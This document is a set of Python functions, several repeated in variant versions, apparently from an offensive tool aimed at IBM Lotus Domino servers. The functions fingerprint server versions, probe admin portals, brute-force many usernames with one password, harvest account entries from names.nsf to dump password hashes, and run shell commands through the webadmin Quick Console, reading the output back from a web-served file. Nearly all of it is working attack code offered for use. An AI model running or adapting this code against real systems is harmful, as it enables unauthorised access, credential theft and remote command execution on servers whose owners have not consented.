def quick_console(self, command, operator, target, os, path, username, password, session): if session is None: session = requests.Session() session.auth = (username, password) if os == 'windows': raw_command = "load cmd /c {0} {1}\"{2}\domino\html\download\\filesets\log.txt\"".format(command, operator, path) else: raw_command = "load /bin/bash -c \"{0} {1}{2}/domino/html/download/filesets/log.txt\"".format(command, operator, path) # Quick Console commands must be less than 255 characters if len(raw_command) > 255: utility.print_warn('Issued command is too long') else: quick_console_url = "{0}/webadmin.nsf/agReadConsoleData$UserL2?OpenAgent&Mode=QuickConsole&Command={1}&1446773019134".format(target, raw_command) response_url = "{0}/download/filesets/log.txt".format(target) # Send commands and handle cleanup send_command = session.get(quick_console_url, headers=utility.get_headers(), verify=False) if send_command.status_code == 200: get_response = session.get(response_url, headers=utility.get_headers(), verify=False) if get_response.status_code == 200 and '>' in operator: print(get_response.text) elif get_response.status_code == 200 and '>' not in operator: utility.print_warn('Unable to delete outfile') elif get_response.status_code == 404 and '>' not in operator: utility.print_good('Outfile sucessfully deleted') else: utility.print_warn('Outfile not found') do_exit else: utility.print_warn('Quick Console is unavaliable') do_exit
def check_access(target, header, username, password): session = requests.Session() session.auth = (username, password) try: webadmin_url = "{0}/webadmin.nsf".format(target) check_webadmin = session.get(webadmin_url, headers=header, verify=False) if check_webadmin.status_code == 200: if 'form method="post"' in check_webadmin.text: utility.print_warn('Unable to access webadmin.nsf, maybe you are not admin?') else: path_url = "{0}/webadmin.nsf/fmpgHomepage?ReadForm".format(target) check_path = session.get(path_url, headers=header, verify=False) path_regex = re.search('>(?i)([a-z]:\\\\[a-z0-9()].+\\\\[a-z].+)\\\\domino\\\\data', check_path.text) if path_regex: path = path_regex.group(1) else: path = None utility.print_status('Could not identify Domino file path, trying defaults...') who_am_i, local_path = test_command(target, header, path, username, password) if who_am_i and local_path: utility.print_good("Running as {0}".format(who_am_i)) Interactive(target, header, local_path, username, password).cmdloop() else: utility.print_warn('Unable to access webadmin.nsf!') elif check_webadmin.status_code == 401: utility.print_warn('Unable to access webadmin.nsf, maybe you are not admin?!') else: utility.print_warn('Unable to find webadmin.nsf!') except Exception as error: utility.print_error("Error: {0}".format(error))
def fingerprint(target, username, password, auth): domino_version = None version_files = ['download/filesets/l_LOTUS_SCRIPT.inf', 'download/filesets/n_LOTUS_SCRIPT.inf', 'download/filesets/l_SEARCH.inf', 'download/filesets/n_SEARCH.inf', 'api', 'homepage.nsf', 'help/readme.nsf' ] for version_file in version_files: try: version_url = "{0}/{1}".format(target, version_file) request = requests.get(version_url, headers=utility.get_headers(), timeout=5, allow_redirects=False, verify=False) if request.status_code == 200: version_regex = re.compile('(version=|version\":\"|domino administrator |domino |release )([0-9.]{1,7})(\s|\")', re.I) if version_regex.search(request.text): domino_version = version_regex.search(request.text).group(2) break except Exception as error: utility.print_error("Error: {0}".format(error)) continue if domino_version: utility.print_good("Domino version: {0}".format(domino_version)) else: utility.print_warn('Unable to fingerprint Domino version!') check_portals(target, username, password, auth)
def fingerprint(target, header): domino_version = None version_files = ['download/filesets/l_LOTUS_SCRIPT.inf', 'download/filesets/n_LOTUS_SCRIPT.inf', 'download/filesets/l_SEARCH.inf', 'download/filesets/n_SEARCH.inf' ] for version_file in version_files: try: version_url = "{0}/{1}".format(target, version_file) request = requests.get(version_url, timeout=(5), headers=header, verify=False) if request.status_code == 200: version_regex = re.search("(?i)version=([0-9].[0-9].[0-9])", request.text) if version_regex: domino_version = version_regex.group(1) break else: continue except: continue if domino_version: utility.print_good("Domino version: {0}".format(version_regex.group(1))) else: utility.print_warn('Unable to fingerprint Domino version!')
def reverse_bruteforce(target, usernames, password, auth): username_list = [] valid_usernames = [] names_url = "{0}/names.nsf".format(target) # Import usernames from file username_file = open(usernames, 'r') for username in username_file: username_list.append(username.rstrip()) username_file.close() # Start reverse brute force for username in username_list: jitter = random.random() time.sleep(jitter) try: if auth == 'basic': access = utility.basic_auth(names_url, username, password) elif auth == 'form': access, session = utility.form_auth(names_url, username, password) elif auth == 'open': utility.print_good( "{0} does not require authentication".format(names_url)) break else: utility.print_warn("Could not find {0}".format(names_url)) break if access: utility.print_good("Valid account: {0} {1}".format( username, password)) valid_usernames.append(username) else: pass except KeyboardInterrupt: break except Exception as error: utility.print_error("Error: {0}".format(error)) continue # Print found usernames if len(valid_usernames) > 0: if len(valid_usernames) == 1: plural = '' else: plural = 's' utility.print_status("Found {0} valid account{1}".format( len(valid_usernames), plural)) for valid_username in valid_usernames: print("{0} {1}".format(valid_username, password)) else: utility.print_warn('No valid accounts found')
def enum_accounts(target, username, password, auth): accounts = [] account_urls = [] names_url = "{0}/names.nsf".format(target) for page in range(1, 100000, 1000): pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}&Count=1000".format(target, page) try: if auth == 'basic': access = utility.basic_auth(names_url, username, password) elif auth == 'form': access, session = utility.form_auth(names_url, username, password) else: access = None if access or auth == 'open': if auth == 'basic': request = requests.get(pages, headers=utility.get_headers(), auth=(username, password), timeout=60, verify=False) elif auth == 'form': request = session.get(pages, headers=utility.get_headers(), timeout=60, verify=False) else: request = requests.get(pages, headers=utility.get_headers(), timeout=60, verify=False) soup = BeautifulSoup(request.text, 'lxml') empty_page = soup.findAll('h2') if empty_page: break else: links = [a.attrs.get('href') for a in soup.select('a[href^=/names.nsf/]')] for link in links: account_regex = re.compile('/([a-f0-9]{32}/[a-f0-9]{32})', re.I) if account_regex.search(link) and account_regex.search(link).group(1) not in accounts: accounts.append(account_regex.search(link).group(1)) else: pass else: utility.print_warn("Unable to access {0}, bad username or password!".format(names_url)) break except Exception as error: utility.print_error("Error: {0}".format(error)) break if len(accounts) > 0: if len(accounts) == 1: plural = '' else: plural = 's' utility.print_good("Found {0} account{1}".format(len(accounts), plural)) for unid in accounts: account_urls.append("{0}/names.nsf/{1}?OpenDocument".format(target, unid)) async_requests(account_urls, username, password) else: utility.print_warn('No hashes found!')
def test_command(target, os, path, username, password, session): if session is None: session = requests.Session() session.auth = (username, password) whoami, local_path, hostname = None, None, None # Windows default Domino data paths if os == 'windows': paths = [ 'C:\Program Files\IBM\Domino\data', # 9.0.1 Windows x64 'C:\Program Files\IBM\Lotus\Domino\data', # 8.5.3 Windows x64 'C:\Program Files (x86)\IBM\Domino\data', # 9.0.1 Windows x86 'C:\Program Files (x86)\IBM\Lotus\Domino\data', # 8.5.3 Windows x86 'C:\Lotus\Domino\data' # Unknown ] # Linux default Domino data path else: paths = ['/local/notesdata'] # 9.0.1 Ubuntu x32 if path and path.replace('\\\\', '\\') not in paths: paths.insert(0, path.replace('\\\\', '\\')) for local_path in paths: try: if os == 'windows': raw_command = "load cmd /c whoami > \"{0}\domino\html\download\\filesets\log.txt\"".format(local_path) else: raw_command = "load /bin/bash -c \"echo $USER:$HOSTNAME > {0}/domino/html/download/filesets/log.txt\"".format(local_path) quick_console_url = "{0}/webadmin.nsf/agReadConsoleData$UserL2?OpenAgent&Mode=QuickConsole&Command={1}&1446773019134".format(target, raw_command) response_url = "{0}/download/filesets/log.txt".format(target) # Do things... send_command = session.get(quick_console_url, headers=utility.get_headers(), verify=False) if send_command.status_code == 200: get_response = session.get(response_url, headers=utility.get_headers(), verify=False) if get_response.status_code == 200: if os == 'windows': user_regex = re.compile('.+\\\\(.+)') else: user_regex = re.compile('([a-z0-9-_].+):(.+)', re.I) hostname = user_regex.search(get_response.text).group(2) if user_regex.search(get_response.text).group(1): whoami = user_regex.search(get_response.text).group(1) utility.print_good("Running as {0}".format(whoami)) break except Exception as error: continue return whoami, local_path, hostname
def reverse_bruteforce(target, usernames, password, auth): username_list = [] valid_usernames = [] names_url = "{0}/names.nsf".format(target) # Import usernames from file username_file = open(usernames, 'r') for username in username_file: username_list.append(username.rstrip()) username_file.close() # Start reverse brute force for username in username_list: jitter = random.random() time.sleep(jitter) try: if auth == 'basic': access = utility.basic_auth(names_url, username, password) elif auth == 'form': access, session = utility.form_auth(names_url, username, password) elif auth == 'open': utility.print_good("{0} does not require authentication".format(names_url)) break else: utility.print_warn("Could not find {0}".format(names_url)) break if access: utility.print_good("Valid account: {0} {1}".format(username, password)) valid_usernames.append(username) else: pass except KeyboardInterrupt: break except Exception as error: utility.print_error("Error: {0}".format(error)) continue # Print found usernames if len(valid_usernames) > 0: if len(valid_usernames) == 1: plural = '' else: plural = 's' utility.print_status("Found {0} valid account{1}".format(len(valid_usernames), plural)) for valid_username in valid_usernames: print("{0} {1}".format(valid_username, password)) else: utility.print_warn('No valid accounts found')
def check_portals(target, header): portals = ['names.nsf', 'webadmin.nsf'] for portal in portals: try: portal_url = "{0}/{1}".format(target, portal) request = requests.get(portal_url, headers=header, verify=False) if request.status_code == 200: if 'form method="post"' in request.text: utility.print_warn("{0}/{1} requires authentication".format(target, portal)) else: utility.print_good("{0}/{1} does NOT require authentication".format(target, portal)) elif request.status_code == 401: utility.print_warn("{0}/{1} requires authentication!".format(target, portal)) else: utility.print_warn("Could not find {0}!".format(portal)) except: continue
def enum_accounts(target, header, username, password): accounts = [] account_urls = [] session = requests.Session() session.auth = (username, password) for page in range(1, 100000, 1000): try: pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}&Count=1000".format(target, page) request = session.get(pages, headers=header, timeout=(60), verify=False) if request.status_code == 200: if 'form method="post"' in request.text: utility.print_warn('Unable to access names.nsf, bad username or password!') break else: soup = BeautifulSoup(request.text, 'lxml') empty_page = soup.findAll('h2') if empty_page: break else: links = [a.attrs.get('href') for a in soup.select('a[href^=/names.nsf/]')] for link in links: account_regex = re.search("/(([a-fA-F0-9]{32})/([a-fA-F0-9]{32}))", link) if account_regex and account_regex.group(1) not in accounts: accounts.append(account_regex.group(1)) else: pass elif request.status_code == 401: utility.print_warn('Unable to access names.nsf, bad username or password!') break else: utility.print_warn('Could not connect to Domino server!') break except Exception as error: utility.print_error("Error: {0}".format(error)) break if len(accounts) > 0: utility.print_good("Found {0} accounts, dumping hashes".format(len(accounts))) for unid in accounts: account_urls.append("{0}/names.nsf/{1}?OpenDocument".format(target, unid)) async_requests(account_urls, header, username, password)
def check_portals(target, username, password, auth): portals = ['names.nsf', 'webadmin.nsf'] for portal in portals: portal_url = "{0}/{1}".format(target, portal) try: # Page not eternally accessible if auth == None: utility.print_warn("Could not find {0}!".format(portal)) # Basic authentication elif auth == 'basic': if len(username) > 0: access = utility.basic_auth(portal_url, username, password) if access: utility.print_good("{0} has access to {1}".format(username, portal_url)) else: utility.print_warn("{0} does not have access to {1}".format(username, portal_url)) else: utility.print_warn("{0} requires authentication!".format(portal_url)) # Form authentication elif auth == 'form': if len(username) > 0: access, session = utility.form_auth(portal_url, username, password) if access: utility.print_good("{0} has access to {1}".format(username, portal_url)) else: utility.print_warn("{0} does not have access to {1}".format(username, portal_url)) else: utility.print_warn("{0} requires authentication!".format(portal_url)) # Page does not require authentication else: utility.print_good("{0} does not require authentication".format(portal_url)) except Exception as error: utility.print_error("Error: {0}".format(error)) continue
def enum_accounts(target, username, password, auth): accounts = [] account_urls = [] names_url = "{0}/names.nsf".format(target) for page in range(1, 100000, 1000): pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}&Count=1000".format( target, page) try: if auth == 'basic': access = utility.basic_auth(names_url, username, password) elif auth == 'form': access, session = utility.form_auth(names_url, username, password) else: access = None if access or auth == 'open': if auth == 'basic': request = requests.get(pages, headers=utility.get_headers(), auth=(username, password), timeout=60, verify=False) elif auth == 'form': request = session.get(pages, headers=utility.get_headers(), timeout=60, verify=False) else: request = requests.get(pages, headers=utility.get_headers(), timeout=60, verify=False) soup = BeautifulSoup(request.text, 'lxml') # Break if page not found if 'No documents found' in soup.findAll('h2'): break else: links = [ a.attrs.get('href') for a in soup.select('a[href^=/names.nsf/]') ] for link in links: account_regex = re.compile( '/([a-f0-9]{32}/[a-f0-9]{32})', re.I) if account_regex.search(link) and account_regex.search( link).group(1) not in accounts: accounts.append( account_regex.search(link).group(1)) else: pass else: utility.print_warn( "Unable to access {0}, bad username or password".format( names_url)) break except Exception as error: utility.print_error("Error: {0}".format(error)) break if len(accounts) > 0: if len(accounts) == 1: plural = '' else: plural = 's' utility.print_good("Found {0} account{1}".format( len(accounts), plural)) for unid in accounts: account_urls.append("{0}/names.nsf/{1}?OpenDocument".format( target, unid)) async_requests(account_urls, username, password) else: utility.print_warn('No hashes found')